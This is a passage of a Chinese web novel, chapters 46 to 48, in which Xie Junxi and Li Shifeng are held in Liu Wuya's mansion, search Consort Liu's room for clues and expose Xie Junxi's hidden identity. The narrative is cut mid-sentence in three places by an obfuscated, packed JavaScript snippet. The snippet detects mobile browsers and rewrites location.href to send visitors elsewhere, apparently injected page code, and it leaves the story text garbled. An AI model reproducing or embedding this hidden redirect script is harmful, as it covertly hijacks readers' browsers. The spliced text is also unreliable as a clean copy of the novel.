“季家小子,你是不是忘了你在哪里?”柳无涯又恢复那淡定自若的模样,往四周环顾了一圈,捻住胡子接着道。 “知道,柳家,大人自可以杀了我,可是大人下得了这个手吗?”李时丰最后说出的话几乎是在柳无涯的雷点蹦迪,谢筠熙感受到这剑拔弩张的氛围,不由有些紧张地握紧了拳头。 李时丰这是什么意思…… 谢筠熙突然有些摸不着头脑。 但她来不及思考,因为下一秒柳无涯就不再理会李时丰,转而把话题转到了她身上。 “谢家小女,你又何故与季家小子厮混在一起啊?” 柳无涯一副神在在的模样。 厮混……这个词用得也太怪…… 谢筠熙在心里默默吐槽,但还是给出了一个回答:“大人明明知道为什么还要来问小女子。” 柳无涯几乎有些被气笑:“你们两个小辈,还真是一个比一个嘴硬。” 谢筠熙状似无辜地望向柳无涯,依旧眨着她那扑闪的杏眼。 李时丰难得的有些忍俊不禁,竟就当着柳无涯的面沉声笑起来。 “谢今安?” 柳无涯带着些确信呼唤谢筠熙。 这种感觉莫过于高中上课被老师点名,尤其是被数学老师点名,谢筠熙正担忧是不是李时丰今日的举动太过反常,但哪曾想柳无涯哪里是这样容易失态的人。 他不紧不慢地张口,却说出了让谢筠熙身心俱颤的话语:“谢家小女,老夫分明记得你之前对古玩文物并没有多大兴趣啊,谢家嫡女,温婉知性,才貌双全,琴棋书画样样精通,实乃京城女子典范……” 又是这番熟悉的人物介绍版面般的话……连柳无涯都对我起疑了吗? “若某些人突遭变故,亦会有所易。”李时丰在一旁插话。 谢筠熙现在觉得李时丰是越来越配合自己了。 她悄悄在桌案底下给李时丰竖了个大拇指。 柳无涯探究地望向谢筠熙,显然不是完全相信这套说辞。 “大人,您未体验过失势之人的悲情之处,自然不会明白。”谢筠熙露出和李时丰方才一模一样的嘲弄之笑。 柳无涯没想到谢筠熙会这么回答,他轻笑一声,末了只得添上一句:“那就请你们二位在老夫府上再多待一阵吧。” “花昀,劳烦送这二位回原来的地方。”柳无涯对着门外喊道。 46. 意外发现 花昀在门外听见二人和柳无涯的谈话心里都要捏一把汗,他们压根就是把自己说的那句忠告当成耳旁风,句句都踩在柳无涯的痛点上,甚至还要杀人诛心,着实是胆大妄为。 好在柳无涯并没有真的做什么,应该是这二人活着对于他来说,还是利大于弊。 花昀走在二人面前暗暗思忖着,仍旧心有余悸。 柳无涯倒是没有把二人重新关回柴房,只是叫下人安排了一间隐蔽且简陋的客房给他们,谢筠熙和李时丰跟在花昀身后,一个赛一个有松弛感,仿佛自己来的不是权臣的府邸,而是闹市里随处可见的酒楼。 “大人,你说王爷现在作何感想呢?一次性失踪了两个人,论谁都会觉得奇怪吧……”谢筠熙一边走着,一边在李时丰身旁毫不避讳地讨论赵泓玉。 李时丰在心里暗笑:好一个虚张声势,狐假虎威。 “若殿下没有动作那便不是他了。”李时丰顺着谢筠熙的话往下说。 花昀这下也暗笑起来:一唱一和,大人竟然愿意配合谢小姐。 “二位,国师大人说暂且委屈二位住在此处了,府里最近来了许多宾客,招待不周还请见谅。”谢筠熙望了一眼那与府中陈设格格不入的客房,大度地一笑,“无碍,原本我和大人也是不,请,自,来的。” 谢筠熙说完,背着手一把推开了客房大门。 花昀哪里听不出谢筠熙那满含嘲讽的意味,但他依旧默默退下,临走之前留下一句:“大人说二位最好在这屋子里安分一些,毕竟这是柳府,不是大理寺,也不是衡王府。” “好的,多谢,你去忙吧花昀。”谢筠熙拍掉开门时手上沾的灰,一把攥住李时丰的手走进了屋里。 李时丰措不及防被她拉进屋里,这家伙朝门外张望了几下,又小心翼翼把门掩上,一副很谨慎的模样,与刚才那剑拔弩张的气势形成了鲜明的对比。 “你倒是张狂,还知道把赵泓玉搬出来威胁他们。”李时丰靠在门边,抱着拳望向谢筠熙。 “这不是听大人您方才跟国师说的话,知道衡王对他能造成不小的威胁嘛。”谢筠熙一脸人畜无害。 她上前两步,伸出食指戳了戳李时丰的胸膛,定定看向李时丰:“若说张狂,还是比不过大人您,戳人肺管子的话说得小女子可真是心生敬佩。” “彼此彼此。”李时丰抓住谢筠熙不安分的手。 两人相互对视了一阵,不约而同笑出了声。 “干得漂亮。”谢筠熙兴冲冲想和李时丰击掌,突然想起来他不知道击掌的意思,又默默把伸出的另一只手缩了回去。 李时丰轻咳几声掩饰尴尬,这才开始和谢筠熙一起关注起这间简陋的客房。 说句实话,虽说柳无涯给他们安排的是最差的客房,但这间屋子除了灰尘多了些,屋内陈设比其他屋子少了些,地段偏了些,比谢筠熙在大理寺住的侧厅不知好上了几倍。 “这就是大户人家吗?连最破的屋子都这么有逼格,这样一对比我爹可真是清廉又节俭。”谢筠熙在这屋子里四处走着,流露出几分艳羡的意味。 “你以为这屋子是用什么东西建起来的。”李时丰和谢筠熙对视上,两人的思想再次连上了线路。 “哦~大人可真是会说话,顶级的暗讽。”谢筠熙抚掌称是。 两人说话一个比一个大声,生怕屋顶上暗卫听不见似的。 谢筠熙和李时丰停顿了一会,听见上头没了动静,这才走到一块。 谢筠熙的眼神犀利起来。 “大人,你说好不好笑,殿下前脚说想让我进宫潜伏,再来柳府办事,后脚我就被拐进了这里,这算是阴差阳错吗?还是说殿下他早有预谋?” 李时丰这几日不在,全然不知道赵泓玉竟又制定出如此冒险的计划,他不能苟同赵泓玉的这个决定:“本官不知,但有此计划殿下切实鲁莽了些。” “其实之前殿下和我打趣的时候说要让我来柳府,字里行间似乎也猜到了大人您的动向,只是他对柳府的态度也是好生奇怪。” 谢筠熙此刻和李时丰说话,两人的脸几乎要贴到一块去。 “你能稍微离远一些吗?”李时丰别开头。 “我这不是怕隔墙有耳嘛。”谢筠熙笑了笑,不以为意。 “罢了,赵泓玉对柳府的态度并不稀奇。” 李时丰默许了谢筠熙的举动。 “为什么?”谢筠熙忽然想到李时丰说的那句“徒弟”,眼睛再次亮起来,“殿下和国师的关系不简单吧。” “倒也没有多复杂,无非就是柳无涯一手教出了他这精于算计的徒弟,又被他的好徒弟反将一军的事罢了。” “这样……” 谢筠熙已经脑补出了一场惊天大戏。 “那赵璟曜又算什么?”谢筠熙突然想到了这个奇妙的点,“若照你这么说,如今皇位之下上演的这一场好戏,是师徒博弈的话,那景王岂不是……” “嘘。”李时丰捂住了谢筠熙的嘴,止住她的话头后,又把她毫不留情地提到了桌边的座椅上。 “欧吼,黄花梨,这椅子真值钱。”谢筠熙看清楚那座椅材质的一瞬间眼睛都亮了。 “猜猜这一把椅子得堆几条人命?”李时丰抓住扶手,俯身逼近谢筠熙。 “咦。”谢筠熙听见这话如同弹簧般从椅子上站起。 “我不坐了,若和赵泓玉比起来,虽然我知道他也是个唯利是图的人,但柳无涯显然更没有下限。” 谢筠熙的脑子里突然闪过一丝灵光:“这不会就是师徒翻脸的原因吧。” 李时丰也站起身:“并非全因,他俩其实没有什么师徒情感可言。” “大人,那您掺和进来真的只是为了查清楚真相这么简单吗?”谢筠熙突然把话题引到李时丰身上。 “你觉得呢?”李时丰意味深长地回视。 “先不说这个了,解决眼下的困境要紧。”谢筠熙打着哈哈跳过了这个问题。 二人沉默了一阵,谢筠熙再次开口:“陆贰和徐柒竟然没有被一块带回来,我原本放以为柳无涯做事会更加决绝一些。” “恐怕柳无涯的目的不止只是把我们两个带到柳府这么简单。”李时丰紧缩着眉头,他摩挲着下巴向谢筠熙询问,“等一下,好像还没问你到底是怎么被带到柳府的,可还有印象?” 李时丰狐疑地望向谢筠熙。 “呃……这个……我跟赵泓玉说要再去镇北府找一趟线索,然后就……”谢筠熙心虚地瞥了李时丰两眼。 “发现什么了没有?”出乎意料的,李时丰并没有对此事有所意见。 “我和陆贰、徐柒一同去镇北府的时候,找了半天没有找到你上次带我去的那个小门,进去之后确实是捡了些东西,但是现在看来,应当是被柳无涯扣押了。”谢筠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689652|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙拍拍身上不见踪影的布袋。 “门应当是花昀托人干的,这是为免引起不必要的怀疑。”李时丰回忆了一番,又转向谢筠熙,“真的什么都没留下?你这个进案发场地就能捡到关键线索的神力消失了?” 哪有这回事…… 谢筠熙对李时丰说的话嗤之以鼻。 无非是运气好些罢了…… “那你还真是猜错了,这个东西,喏,我在你家水池边上的草丛里找到的。”谢筠熙从里衫掏出那个断掉的小箭矢,抛给李时丰。 李时丰轻而易举地接住,摊开手掌看了一眼,面色突然变得不对起来。 "怎么了?有什么不对吗?"谢筠熙跟着他的视线望去,就见李时丰盯着小箭矢的断裂处一个劲地看。 “只是一枚时间隔得有些久的小箭矢,形制看着也是最普通的那一类,是暗器用来防身的吧。”谢筠熙滔滔不绝地说着。 “你可以判断它的留存时日吗?”李时丰抬眸。 “嗯……看它的状态,竟然没有什么被腐蚀的迹象,应该是遇到了什么特定的环境,要么就是这个箭头的材质有些特殊,但按木质的箭身这个损毁程度来看,应该得有两三年了,我发现它是在一条干巴的死鱼旁边,似乎是一只咪咪拖上来的,可能它之前被遗弃在水池里了。”谢筠熙思索着,努力回忆着遇到那只小猫的细节。 “镇北府的水池原本会有官府的人去处理,可因为他们的不以为意,导致池子的水深这些年来一直在降低,里面的池鱼自然受不住恶劣的环境,也就死绝了,想必那只……咪咪,应该是捡到了池子里的死鱼得以饱食,而这条鱼生前应该误食了这箭矢。” 李时丰犹豫再三,最终还是跟着谢筠熙念出了对小猫的称呼。 “哦……大人真是聪颖过人,那为何方才要一直盯着箭断处看啊。”谢筠熙抬了抬下巴。 “你看这里。”李时丰将谢筠熙轻轻拉来,将断裂处的痕迹指给她看。 谢筠熙弯下腰细细观察,终于看清了李时丰所指之处,那里似乎有一些奇怪的字体:“这是……变体的暗语??!!” 李时丰点点头;“和之前那封密函一样,本官记得……那秋芸之前似乎也是柳家的人?” 说这话时,两人又贴到一块去,李时丰把箭矢迅速塞回自己怀里,这次倒是没有别扭地拒绝谢筠熙的贴近。 “也就是说……用这种密语的人,除了皇上特意钦定的一些官职,柳家的人……也在用这套字体传讯?”谢筠熙的语气里已经隐隐带上了一些兴奋。 “我们不能白来柳府一趟,殿下估摸着已经知道我们在哪里了,在他有所行动之前我们得在柳府多找些东西出来。”谢筠熙笑得一脸奸诈。 “花昀方才向我们提示,现在柳府里面有很多‘宾客’。”李时丰和谢筠熙心照不宣地对视了一眼。 怎么可能乖乖待在房里。 “话说回来,大人,我还有一事不解。” “什么?” “你说花昀是你爹旧部下的养子,你却对此事知道的不多,这个老部下的事……可有什么隐情?”谢筠熙不解。 “此事日后再问吧,我爹他……的确没有告诉本官有关这个所谓的老部下的事,花昀虽提到了此事,却也不愿与我细说。”李时丰摇头。 “好吧。”谢筠熙遗憾地摇了摇头,她有一种直觉,此事绝对不简单。 47. 掉马 谢筠熙和李时丰合力把里屋收拾了一番,两人坐在榻边面面相觑。 “大人,咱们不能安分待在这里对吧。” “对。” “接下来去干什么?” “先看看能不能出门。” 李时丰拉上谢筠熙,偷偷扒在门边,果不其然,顺着门缝望去,柳无涯的家卫正一左一右守在门口,李时丰冲谢筠熙摇了摇头,又把她拉回了屋里。 “大人,你知道柳家小姐的闺房大概在什么方位吗?”谢筠熙低下头,压低声音同李时丰说话。 “你想去柳贵妃未出阁之前的屋子?”李时丰有些意外。 “嗯,可以从那里开始查起吗?”谢筠熙期待地望向李时丰。 李时丰回忆了一番柳府的宅院排布,沉默着点了点头。 “谢今安,本官问你件事。”李时丰突然一脸正经地看向谢筠熙。 “嗯。”谢筠熙同样严肃地回望李时丰。 “你觉得……柳慕琴当时把九皇子送出宫时,所想为何?”李时丰问完不自觉地摸了摸鼻子,“好歹你也是女人,应该能感同身受一些吧。” 谢筠熙听罢神色了然地移开脑袋,又转作思考状:“虽然我并没有孩子,但据我了解,一个母亲如果真的爱孩子,绝对不可能希望自己的孩子被困在一个限制自由的地方,甚至还随时有生命危险,更何况先前藜姐姐说有人要害她,她既然已经知晓,又怎会甘愿看着自己腹中的胎儿去死。而且我总觉得,柳贵妃她……似乎并不是甘愿居于深宫之中的……” “停,打住,说到这就可以了。”李时丰紧急制止了谢筠熙的话,再说下去,别说回大理寺,早就已经先被皇帝斩首示众了。 “柳家的人看上去都不像是会为了他人让自己付出代价的那种人吧。”谢筠熙停顿了一下,“柳贵妃,若非出于某种原因,我倒是愿意相信她是此等有别于柳家作风的人。” “怎么说?” “大人,你再过来些。”谢筠熙一把薅住李时丰的后衣领,把他往自己面前带。 李时丰如今都已经快习惯了这个女人逾矩的动作,他没有劝阻,反倒有些食髓知味。 罢了,这人就是个木头,等她哪天发现了再说吧…… “殿下曾与我说他觉得柳贵妃是一个异于柳家的人,而我又从藜秋嘴里听说了柳贵妃对她们那些旧侍女的恩情……” “你怎么又能确定这不是为了一些更大的利益呢?”李时丰皱眉。 “如果是的话,那柳贵妃干嘛要让自己去死以保九皇子?若她也是唯利是图的人,那九皇子对她的意义绝对没有这么重要。” 谢筠熙“啧”了一声,表示对李时丰的不满,随机忽然又想到了些什么,忙拉住李时丰的袖口,摇摇晃晃地露出喜出望外的神情:“陛下不是也叫咱们去查柳贵妃的事,来得早不如来得巧,既然都已经在柳府了,不查白不查。” “你倒是有够豁达的,不知道的还以为我们是光明正大进的柳府。”李时丰轻轻敲了敲谢筠熙的脑袋。 “怎么不是光明正大,是他们的人请我们进来的,又不是不请自来……”谢筠熙话说一半收起笑容,突然变了脸色,“话说,你是怎么进来的,大人。” “现在才想起来问这个?”李时丰抱拳侧目。 “呃……抱歉啊大人。” 谢筠熙心虚地挠了挠头。 “那日从镇北府回到大理寺,本官彻夜未眠,于是次日早上本官同陆贰和徐柒交代了些事情,就独自前往镇北府,谁知闻到一阵异香,再醒来就到这里了。”李时丰回忆着被带到柳府发生的事。 “然后呢。”谢筠熙继续追问,听到那香味的事,深深皱起了眉。 “只是本官第一眼见到的人,就是柳无涯,但也只是一眼,他就离开了,而后便是柳洵,他被本官反将一军套出了些话,这个蠢货,也不知柳无涯究竟为何要让这个次孙替他办事。” 李时丰轻蔑地抬眼看向窗外。 “的确是个又坏又烂的蠢货……偏生他怎么就这么好运,真是让人生气。”谢筠熙喃喃说着,全然不知道李时丰看向谢筠熙的眼神有些不对劲起来。 “你……知道他的事?” “知道……一些罢了。” 谢筠熙内心狂啸:有一种不祥的预感~ “本官一直觉得你很奇怪,之前怀疑过几次,但觉得那实在是有些违背常理。” 李时丰逼近谢筠熙,打量起这个愈加可疑的女人。 谢筠熙被他如炬的目光看得有些发怵:“什么……啊?大人,您这是干什么……” “你根本就不是谢今安吧?即使受到的刺激再大,也不应该转变得如此之快。”李时丰的声音低到只有两人足以听见的程度,审视的双眼让谢筠熙无处可躲。 “怎怎怎么会……大人哈哈哈哈哈您误会了。”谢筠熙的预感果然成了真,她一个劲地往后躲,企图继续否认。 “本官之前见过你一次,虽然是擦肩而过,但那个谢今安给本官的感觉与你截然不同。”李时丰追上已然站起身的谢筠熙不依不饶。 !!完蛋了,这下是真的完蛋了……怎么会这样!! 谢筠熙的内心此刻已然惊涛骇浪。 李时丰那双探究的眸子依旧望着她,让她有些无措。 “大人!待出了柳府再说这事好不好,现在时机也不大对吧!”谢筠熙努力压低声线说出这话,以此作为最后挣扎的稻草。 “好,届时,你最好别向本官有所隐瞒。”李时丰收回目光。 谢筠熙沉默着,跟在李时丰身后,径直来到了这间屋子的后窗。 “等天黑下来,我们再行动。”李时丰将手搭在窗台一字一句地说着。 “好。” 柳府的人倒也没有把他们两人饿死的意思,花昀带着吃食出现的时候,谢筠熙的肚子先叫起来,但她依旧装作不领情的模样,对花昀恶狠狠地道:“我可不吃,谁知道国师会不会给我和大人加些什么不该加的东西。” “若是大人想要加害二位,倒也不必用到如此卑鄙的手段,安心吃吧谢小姐,饭菜该凉了。” 花昀的视角里,谢筠熙一边说着话一边死命盯着食盒里的那些食物,一旁的家卫没有放松谢筠熙的动作,直到她端着东西进去,这才把目光移开。 “大人,我好饿……”谢筠熙把食盒放到桌上。 “吃吧,无碍。”李时丰说罢先拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723229|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起筷子动起来。 谢筠熙见状连忙端起碗来大快朵颐,丝毫没有形象可言。 如花昀所说,咽下的饭菜的确没有什么不对劲的地方。 她终于把心放回了肚子里。 “谢今安,其实本官方才说的那番话,实是在试探你。”李时丰默默看了一会她那快吃成饕餮的模样,残忍地说出自己刚才的目的。 “咳……”谢筠熙被饭噎到,忙又端起碗来喝了几口汤。 “不过现在确定了。”李时丰看向她,“你希望本官称呼你为什么?” 谢筠熙好不容易把嘴里的饭菜咽下去,将眼睛睁得浑圆:“大人,你怎么这样!” “回答本官的问题。”李时丰淡然地扒了几口菜。 “那……其实没必要,大人想叫我什么就叫什么吧,这些不重要。”谢筠熙认真思索了一番,给出了这个答案。 “不重要?”李时丰挑眉,“可是本官觉得,你本该有自己的名字,何必套在别人的壳子里还用着别人的名字。” 谢筠熙停下咀嚼,心情有些复杂,挣扎了一番,谢筠熙放下碗筷认真道:“好吧,大人那您听好了,我叫谢筠熙。” 她抓过李时丰的手,把自己的名字一笔一画认真写了一遍。 “嗯,本官知道了。”李时丰待她写完,收回手掌。 “但小女子希望,在青史上留下名字的是谢今安,并非我自己的名字。” 李时丰不解:“这又是为何?” “我本来就不该存在于这里,既是在替别人活着,我更希望这个女孩的名字能风风光光地被后人记住。” 谢筠熙笑了,笑得很温柔,竟让李时丰呆愣了半瞬。 “你……” “好了,大人,一会还要干活,多吃一些。”谢筠熙冲李时丰眨了眨眼,再次端起了碗筷。 接下来两人依旧无言,都各怀心事默默扒着饭。直到有人来收走他们的食盒与碗筷,才发现窗外的天不知何时暗沉下来。 谢筠熙望了一会那沉沉的暮色,不知在想些什么。 “怎么?”李时丰走到她身边。 “大人,你是第一个知道我是谁的人。”谢筠熙转过身仰头对他说。 这种感觉真是神奇。 谢筠熙在心底默默感叹。 “嗯。”李时丰发出单音,然后转身向屋子大门走去。 “吱呀” 木门发出的声音把门外有些昏昏欲睡的家卫惊醒,他们警觉地睁开双眼,还没来得及看清眼前的景象,就两眼一黑昏倒过去。 “大人,这样是不是有些莽撞了,那些暗卫没准还在盯着我们呢。”谢筠熙着急地拉住李时丰。 “花昀之前已经把他们引开了,不必担忧,只是我们只有半个时辰可以行动。” “什么时候的事?”谢筠熙惊奇道。 “在食盒底下。”李时丰扬了扬手里的纸条,又把它放进火烛里面燃尽。 “那这两个人……”谢筠熙话都还没说完,就被李时丰拉住跳上了房檐。 “没一个时辰起不来,别废话了快走。”李时丰一不做二不休干脆把谢筠熙揽进怀里,抱起来如阵风般离开了这间屋子的房顶。 48. 妆奁 “大人,就是这里吗?”谢筠熙望着眼前出奇素净的屋子陷入了沉思。 “嗯,应当是了。”李时丰也陷入了沉思。 这跟说好的不一样啊…… 谢筠熙百思不得其解:史载柳贵妃明艳动人,善舞,帝为之倾倒,每每面圣,贵妃必是花钗银珠,极尽繁华。珠宝衬美人,帝见之更是欣悦,也因此贵妃宫里每月送去的珠宝要比其他嫔妃多上整整一倍。 莫非是见惯了宫里的荣华富贵,贵妃也因此改变了吗? 谢筠熙使劲甩了甩脑袋:与其在这里胡思乱想,不如进去一探究竟。 也不知是不是因为柳慕琴离世已久的原因,她的屋子前看守的侍卫格外得少,甚至连门窗也没有锁,谢筠熙和李时丰也因此十分顺利地从后屋的窗口溜进了里屋。 这未免也太容易了些……总觉得有诈。 谢筠熙没有放下一丝警惕,反倒是李时丰,此刻正无比淡定地在柳慕琴的房间里踱步,谢筠熙跟在他身后环顾着四周,浑身上下的神经都紧绷着,生怕下一秒突然从身后冒出暗卫。 “大人,这里怎么这么空,柳家是把柳贵妃的东西全部都清空了吗。”谢筠熙攀住李时丰的胳膊轻声问着。 “不一定,陛下之前下令将柳贵妃生前的事物一一保留,有时甚至会亲自来柳府缅怀贵妃,柳府的人再权深势重,也不敢公然抗旨。” 李时丰一边翻着屋里的柜子,一边在旁边解释。 “陛下竟如此情深义重……那为何柳府不多派些人守着贵妃的屋子?”谢筠熙松开李时丰跑向另一边的桌案翻找。 “柳府最擅长做表面功夫,而陛下……” 李时丰说到一半突然住了嘴。 柳慕琴在皇帝心里的地位再高,又怎么可能比得上江山社稷,皇帝唯一能做的,只是把该给的体面全部都给她,柳家辅政三代,他们想要怎么样,有时甚至连皇帝也有心而无力。 李时丰摇了摇头,并不想把实话说予谢筠熙听。 “好吧。”谢筠熙见李时丰沉默,把头又转了回去。 谢筠熙怎么会不知道他的意思,后人的角度尚可以有无数的猜测,更何况像她这种对历史的了解程度到达一点程度的文物修复师。 只是她也不说,因为这是时代的哀歌,谁也没有办法改变,只能让时间的河流再往后推一推,再推一推。 “大人,柳贵妃生前可有书信留下,或者……器物也行。” “找找。”李时丰只留下这两个字,便不再言语。 好吧…… 谢筠熙心里算着时辰,和李时丰分开找,本着对这些活文物的尊重,谢筠熙找完就把它们给放回原位。 可夜里实在有些昏暗,谢筠熙走到榻边,不知被什么东西绊了一下,眼看着就要和地板来上亲密接触,一只强健有力的大手堪堪把她扶住。 “小心些。” 不用看就知道是亲爱的李大人。 谢筠熙在心底暗暗说着,有些不大好意思地重新站稳。 “多谢大人……”谢筠熙目光下移,因为两人没有火折子,所以谢筠熙只能借着月光的银辉瞥见绊倒自己的东西,那里泛着温润的光,似乎是一个小匣子,上面镶着些珠玉,精致而小巧,却没有什么繁复的意味。 谢筠熙赶忙将它捡起来,细细端详着,对着月光看了半天终于可以确定这是古代女子常用的妆奁。 “怎么在地上……”谢筠熙小声嘀咕着,扣住开口处小心地将它打开。 “空的……”谢筠熙有些失望,正想把它放回原处,脑子里却先闪过一丝灵光。 她想到了香楼那有机关的衣柜,心里的怀疑腾空升起。 会不会这个妆奁同那里一样也有暗格呢…… 谢筠熙忙带着这小妆奁兴奋地走到李时丰身边,难掩喜悦却还是要嘚瑟地拍拍李时丰的肩膀:“大人,猜猜我找到了什么?” “线索。”李时丰淡淡地回答。 “哎,真没意思,大人你看。”谢筠熙扬了扬手里的妆奁,向他展示了空荡荡的内部。 “嗯。”李时丰并没有什么波澜,只是安静地等着这个女人进行下一步动作。 谢筠熙关上匣子,顺着周边摸索了一番,直到发现妆奁的外壁上似乎缺了一颗珠玉,这才又举起它向李时丰展示。 两人没有说话,但李时丰明白了谢筠熙的意思。 “时辰不早了,我们的动作得快些。”李时丰提醒谢筠熙时带上了些许警示的意味。 谢筠熙听罢又仔仔细细将那空缺处摸了一通,那细长的形状,和妆奁镶嵌的其他珠玉截然不同,谢筠熙第一反应就想到了…… “柳叶佩?”李时丰将她心中的猜测说出了口。 谢筠熙忙点点头,下一秒就被李时丰抓住了手臂,接着就是他不由分说的话:“有人来了,我们先走。” 说罢两人就沿着原路径重新翻回了后屋顶。 没过一阵,柳贵妃的屋子果然被打开,一阵低沉的脚步声传到了趴在屋顶的二人耳中。 “先离开这里。”李时丰低下身子示意谢筠熙赶紧跟上。 在返回那间小客房之前,拜较好的耳力所赐,谢筠熙只听见了那屋里传来的一阵冷笑,转到另一处无人的空屋顶后,便又被李时丰横打抱起飞速回到了客房屋外。 如李时丰所言,二人回去的时候,地上那两人依旧处于昏睡的状态,只是谢筠熙敏锐地发现,客房的门并没有完全掩实。 李时丰显然也发现了这一点,急忙刹住车轻盈地跳到离客房不远处的空地上,将谢筠熙从自己怀中放下来。 两人屏息敛声靠近那扇门。 “咳,是我。”透过木门传来一阵闷咳声,谢筠熙和李时丰互相对视。 花昀? 是他。 安心推门而入后,花昀正站在门边,安静地看着二人,谢筠熙敏锐地注意到了他不自然的神情。 重新燃起火烛,谢筠熙才发现花昀的脸上又挂上了彩,似乎是和什么人打斗过。 “无碍,是大人。”花昀别开目光。 “这……是暴露了什么吗?”谢筠熙有些担忧。 “国师从未放下对属下的疑虑,方才只是为了拖住暗卫的权宜之策,只是这两日你们怕是见不到我了,若我活着出现,那便想办法接近我;若你们在后院见到我的尸首,记得一定要把我带出国师府。” 花昀说罢,毅然推开房门,飞身消失在了黑夜之中。 !! 这个语气怎么如此熟悉! 谢筠熙身心俱震,几乎瞬间就想到了秋芸那拖着受伤躯体来到艾诺家的场面,她下意识也想要推门而出,却被人一把拽回来,门再次被掩得严严实实。 “谢……今安,别去。”李时丰把谢筠熙抵到门上,声色俱厉。 烛火幢幢,谢筠熙眼里的惊愕被李时丰尽收眼底,还没来得及反应,谢筠熙却先一步倒在李时丰怀里。 “大人,一定要再看花昀也去死吗?” “什么意思。”李时丰没有推开谢筠熙。 “秋芸之前伤痕累累来到艾诺家的时候,也是这样一副决绝的模样。” “花昀暂时还死不了,柳无涯不会这么快就对他下死手。”李时丰的手肘缓缓从墙上离开,他的手在谢筠熙后脑勺上踌躇了一番,最终还是顺着身侧垂落。 “抱歉大人,是我意气用事了。”谢筠熙从李时丰身上起来,情绪逐渐恢复正常。 “方才进屋里的,是谁?” 见谢筠熙又进入那副理智分析的状态,李时丰的内心却有些失落:可惜了…… “柳无涯。”李时丰笃定地回答。 “这么黑大人是怎么看出来的。”谢筠熙惊叹不已。 “本官从前在夜里查案的经验可不少,更何况那人的脚步声也足以判断了。”李时丰的语气带着些自己都察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732045|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到的得意。 “呵,那大人和咪咪还真是有几分相似。”谢筠熙开怀一笑,将方才那紧张的氛围压下去了些。 “不过柳无涯大半夜不好好歇息,必然是发现了些什么要亲自去看,可是为什么偏偏是柳贵妃的屋子……”谢筠熙眉头紧锁,大脑飞速运转着。 “他一定知道我俩不会在府里安安分分待着,夜里会有行动也是难免,我俩也算是顶风作案,所以他才会派人看着我们,只是花昀将他的注意力稍稍转移了些,原本安的眼线没能下手,他也不知道我们到底要从哪里开始查起,去柳贵妃的屋子倒像是突然决定的事。”李时丰亦思索着。 “可是要查柳贵妃的事他肯定知道,除非大人本就展现出来柳府是为了另一件事的姿态……” “嗯,的确,明里暗里本官都在透露我要死查纵火案一事到底的态度。”李时丰点头。 “明日之事明日再做打算,柳无涯一定会有所动作。”谢筠熙最终得出结论。 “罢了罢了,先看看这个妆奁要怎么打开。”谢筠熙小心翼翼把怀中的小匣子拿出。 “好。”李时丰跟着谢筠熙坐到火烛旁。 谢筠熙这下总算看清楚了这个小匣子的全貌。 它不仅精巧,还散发着与柳家截然不同的朴素,那几颗珠玉做的点缀,只是它木质奁身的仅有点缀罢了。 那那柳叶佩的主体,是由三片片小柳叶组成的,随便取一片出来,都和这个盒子的空缺处正好对上,大小形状都十分符合。 只是…… 谢筠熙和李时丰面面相觑。 柳叶佩最后出现的地方就是藜秋那儿了…… 只是谢筠熙似乎还不知道,它究竟给了谁…… 李时丰的脸色不大好。 “大人,怎么办。”谢筠熙的眼里染上了几分绝望。 “收好这个妆奁,我们明日再想办法。”李时丰扶额走向榻边。 “好。”谢筠熙亦是一脸无奈。 折腾了一番,谢筠熙和李时丰终于得以回房准备歇息。 眼下摆在谢筠熙和李时丰面前的有一个难以抉择的问题。 这间屋子之所以说它简陋,是因为它只有一张榻和一张桌案,连个能过夜的椅子都没有。 “大人……要不,你睡地上?”谢筠熙戳戳李时丰。 “你还真是不客气。”李时丰径直走向榻边。 见李时丰已经上了榻,谢筠熙顿感心寒:“大人,难道你不知道什么叫做怜香惜玉吗?” “本官现在倒是不介意和你一起睡。” 什么?!! 谢筠熙总觉得自己的大脑因为李时丰这句话“轰”的一声宕机了。 像是逗弄了一只容易奓毛的小猫,谢筠熙那不可置信的模样反倒引起了李时丰恶劣的抿唇笑。 谢筠熙眯眼盯着这传闻中杀人不眨眼,此刻却乐不可支的“罗刹”,反倒开始细细打量起他,甚至一边看一边走近。 怎么说我谢筠熙都不算是古代的老封建,而是二十一世纪的成年独立女性,像李时丰这等姿色上乘的帅男,对那等子事看上去也不是十分感兴趣的模样,睡一觉能有什么大不了! 李时丰见谢筠熙那逐渐平和的面庞,品出了一丝不对劲。 逗弄不成,下一秒他就被谢筠熙挑起了下巴,这次变局促的似乎另有其人。 